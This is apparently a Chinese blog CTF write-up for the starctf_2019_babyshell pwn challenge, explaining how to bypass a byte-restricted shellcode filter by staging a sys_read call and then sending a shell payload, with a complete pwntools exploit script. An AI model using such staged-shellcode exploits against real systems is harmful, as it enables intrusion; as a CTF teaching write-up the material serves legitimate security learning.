starctf_2019_babyshell

有时shellcode受限,最好的方法一般就是勉强的凑出sys read系统调用来注入shellcode主体。

我们拿starctf_2019_babyshell这道题来讲一讲,首先检查一下保护。

IDA分析

首先读入shellcode,然后检查shellcode是否合法,接着执行我们的shellcode.

这个是检查shellcode合法的函数,遍历shellcode的每个字符,在0x400987处找是否有匹配。

我们再来看看0x400987处的数据。

这里我数据强制转换成了代码,也就是说我们只要输入的shellcode在这里面出现就可以了。比如说我们可以使用pop rdxpop rdisyscall ,根据我之前说的这里shellcode受到了限制,所以我们尽力去构造sys_read 来注入我们自己的shellcode。

要调用sys_read我们要控制rax=0 rdi=0 rsi rdx

这里eax等于0了并且rsi指向buf(也就是我们第一次写的shellcode),我们只要控制rdi=0,rdx为一定大小的值就可以了。

我们把程序下断点到call rdx

观察栈的内容

pop rdi;pop rdi;pop rdi;pop rdi;pop rdi;pop rdi;pop rdi;pop rdi;pop rdx;pop rdi;syscall

shellcode怎么写都可以只要保证rdi为零,rdx为一个合适的值。

调用sys_read覆写我们的shellcode

'a'*0xC + asm(shellcraft.sh()

exp:

from pwn import *
context(log_level='debug',os='linux',arch='amd64')
p = process('./starctf_2019_babyshell') #gdb.attach(p,'b *0x4008CB')
shellcode = asm('pop rdi;pop rdi;pop rdi;pop rdi;pop rdi;pop rdi;pop rdi;pop rdi;pop rdx;pop rdi;syscall')
p.sendlineafter(' plz:\n',shellcode) sleep(1)
p.sendline('a'*0xC + asm(shellcraft.sh())) p.interactive()

starctf_2019_babyshell的更多相关文章

  1. Buuctf刷题:部分

    get_started_3dsctf_2016 关键词:ROP链.栈溢出.mprotect()函数 可参考文章(优质): https://www.cnblogs.com/lyxf/p/12113401 ...

  2. [BUUCTF-Pwn]刷题记录1

    [BUUCTF-Pwn]刷题记录1 力争从今天(2021.3.23)开始每日至少一道吧--在这里记录一些栈相关的题目. 最近更新(2021.5.8) 如果我的解题步骤中有不正确的理解或不恰当的表述,希 ...

随机推荐

  1. 关于Python 编码的一点认识

    在计算机中,所有数据的存储.运算以及传输都必须是二进制数字,因为计算机只认识0和1. 当一个人把一份数据传给另一个人时,计算机传递的是其实是二进制数字,但这些数字需要被还原为原始信息. 这个工作当然是 ...

  2. Jupyter Notebook 暗色自定义主题

    这款主题是在jupyter-dark-theme的基础上修改了字体大小和行高,以及显示工具栏.感谢原作者! 安装 下载custom.css文件并移动至~/.jupyter/custom/文件夹下,如果 ...

  3. C# 类中操作主窗体控件

    主窗体程序: using System; using System.Collections.Generic; using System.ComponentModel; using System.Dat ...

  4. Centos8.2安装Mongodb4.4.2(社区版)

    1:下载 wget https://fastdl.mongodb.org/linux/mongodb-linux-x86_64-rhel80-4.4.2.tgz 官网地址: 2:解压 tar -zxv ...

  5. 阿里云DataWorks实践:数据集成+数据开发

    简介 什么是DataWorks: DataWorks(数据工场,原大数据开发套件)是阿里云重要的PaaS(Platform-as-a-Service)平台产品,为您提供数据集成.数据开发.数据地图.数 ...

  6. SpringBoot(五):SpringBoot使用拦截器

    1.按照SpringMVC的方式编写一个拦截器: 2.配置一个类   implements WebMvcConfigurer 接口 为该类添加注解@Configuration  (等价于一个sprin ...

  7. pytorch(03)tensor的操作

    张量操作 一.张量的拼接 torch.cat() 功能:将张量按维度dim进行拼接,且[不会扩张张量的维度] tensors:张量序列 dim:要拼接的维度 torch.cat(tensors, di ...

  8. 聊聊IT技术人的知识体系

    我在我的2020年终总结中提到技术人需要建立自己的知识体系,那么怎么建立自己的知识体系呢?技术人的知识体系又是什么样的呢?今天,和你一一分享. 1 关于我的12字方针 我在我的<2020年终回顾 ...

  9. IDEA 远程调试服务器代码

    在 /home/ttx/app/uco-azj/catalina/30017/bin/set_env.sh export CATALINA_OPTS="-Xms1g -Xmx2g -XX:+ ...

  10. httpPost的两种方式

    1,post-Body流和post参数,以下客户端代码和服务端代码可共用 客户端代码 /** * post 方法 * 抛送给EDI * @param url http://127.0.0.1:9003 ...